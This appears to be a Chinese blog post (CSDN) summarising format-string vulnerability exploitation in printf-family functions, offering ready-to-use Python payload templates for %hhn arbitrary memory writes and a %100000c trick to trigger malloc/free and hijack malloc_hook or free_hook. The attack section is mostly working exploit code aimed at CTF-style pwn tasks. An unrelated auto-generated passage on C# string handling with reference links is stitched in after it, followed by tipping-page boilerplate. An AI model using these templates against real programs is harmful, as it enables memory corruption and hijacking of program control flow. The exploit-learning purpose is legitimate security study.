[干货]格式化字符串漏洞(fsb)利用方式总结 附攻击模板

14 篇文章 0 订阅
7 篇文章 0 订阅

printf

著名的格式化字符串漏洞就不说啦~ printf家族的函数都存在这个漏洞

printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf

常用格式

格式符用途备注
%p以指针格式输出栈中变量的地址$用于指定位置参数,e.g.%13$p
%s输出栈中指针指向的字符串若指针不合法则输出(nil)
%a以double格式输出栈中变量常见于printf_chk泄漏libc,详见#1
%c以char格式输出栈中变量打印过多字符将调用malloc,详见#2
%n将已输出的字符数保存到栈中指针若指针不合法则报错
%n-4字节; %hn-2字节; %hhn-1字节

泄漏内存

%p用于泄漏内存就不多说了

%a的时候要注意一下输出格式的问题,比如有如下输出:

0x0.07fcf47895ap-1022

由于是小数的形式打印的,变量末尾的0会被自动省略掉,需要手动还原一下:

0x07fcf4789500

任意写

case1: buf足够大

如果buf足够大,可以考虑同时使用多个格式符,一次完成变量的修改。

下面是keer师傅的%hhn大法可以快速完成任意写,payload长度至少为128

def fmt(data,addr,off):
    arg0=(data)&0xff
    arg1=(data&0xff00)>>8
    arg2=(data&0xff0000)>>16
    arg3=(data&0xff000000)>>24
    arg4=(data&0xff00000000)>>32
    arg5=(data&0xff0000000000)>>40
    print arg0,arg1,arg2,arg3
    # arg6=(data&0xf f000000000000)>>48
    # arg7=(data&0xf f00000000000000)>>56
    pay1='%'+str(arg0)+'c%'+str(off+10)+'$hhn'
    pay2='%'+str( (arg1-arg0+0x100)%0x100)+'c%'+str(off+11)+'$hhn'
    pay3='%'+str( (arg2-arg1+0x100)%0x100)+'c%'+str(off+12)+'$hhn'
    pay4='%'+str( (arg3-arg2+0x100)%0x100)+'c%'+str(off+13)+'$hhn'
    pay5='%'+str( (arg4-arg3+0x100)%0x100)+'c%'+str(off+14)+'$hhn'
    pay6='%'+str( (arg5-arg4+0x100)%0x100)+'c%'+str(off+15)+'$hhn'
    payload = pay1+pay2+pay3+pay4+pay5+pay6 # +'%100000c'
    payload = payload.ljust(8*10,'A')
    payload+= p64(addr)
    payload+= p64(addr+1)
    payload+= p64(addr+2)
    payload+= p64(addr+3)
    payload+= p64(addr+4)
    payload+= p64(addr+5)
    return payload

%hhn一次写1个字节,相当于是byte/char型,最大范围是0xff,所以(arg1-arg0+0x100)%0x100这样的溢出写法,可以在不排序的情况下准确覆盖变量。

由于每次只改1字节,使用%hhn快速完成任意写,不足之处就是payload太长。

case2: buf不够大

如果buf长度不够,可以考虑重复利用printf,多次攻击完成变量的修改。

下面是藕自己写的模板,payload长度最少是32字节:

def alter_byte(addr,data):
    if data==0:
        payload = "%10$hhn"
    else:
        payload = "%%%dc%%10$hhn"%(data)
    payload = payload.ljust(24,'T')
    payload += p64(addr)
    sl(payload)
    return rc()

def alter_dw(addr,data):
    alter_byte(addr,data&0xff)
    alter_byte(addr+1,(data>>8)&0xff)
    alter_byte(addr+2,(data>>16)&0xff)
    alter_byte(addr+3,(data>>24)&0xff)

def alter_qw(addr,data):
    alter_dw(addr,data)
    alter_dw(addr+4,data>>32)

其中10是offset,用的时候改一下

触发malloc/free

%100000c表示在输出字符时向左侧填充空格,最终输出长度为100000的字符串。当字符串长度过大的时候,printf内部将调用malloc申请空间作为缓冲器,输出结束后会free掉这片空间。

利用方式:

  • 篡改malloc_hook/free_hook,使用%100000c触发malloc/free,劫持程序控制流
  • 和堆相关利用结合,利用printf隐试调用malloc

此外,从原理上看%100000s,%10000d等类似格式也可达到同样效果。

练习题

更新日期:2020年 04月 01日 星期三 23:05:56 CST

在C#中处理字符串可以使用多种方法,以下是几种常见的方法: 方法一:使用字符串的内置方法 可以使用字符串的内置方法来处理字符串,例如使用Contains()方法来检查字符串是否包含某个指定的子字符串,使用Replace()方法来替换字符串中的指定字符或子字符串。可以使用Substring()方法来获取字符串的子串。还可以使用Split()方法将字符串拆分成数组,使用Join()方法将数组拼接成字符串。 方法二:使用正则表达式 正则表达式是一种强大的字符串处理工具。可以使用正则表达式来匹配、查找、替换字符串中的特定模式。C#中提供了Regex类来操作正则表达式。 方法三:使用StringBuilder类 如果需要对字符串做大量的修改操作,可以使用StringBuilder类。StringBuilder类提供了一组方法来对字符串进行添加、删除、替换等操作。与字符串不同,StringBuilder对象可以直接修改,而不会创建新的字符串对象。 方法四:使用字符串格式化 在C#中,可以使用字符串格式化来对字符串进行处理。可以使用String.Format()方法或者使用插值表达式($)来将变量或表达式插入到字符串中。 总结:C#中有多种方法可以处理字符串,可以根据具体需求选择合适的方法。可以使用字符串的内置方法、正则表达式、StringBuilder类或者字符串格式化来对字符串进行处理。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [C#字符串(string)操作](https://blog.csdn.net/caoyanchao1/article/details/121547036)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [C# string字符串内存管理深入分析(全程干货)](https://blog.csdn.net/qq_52855744/article/details/126738039)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TaQini852

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值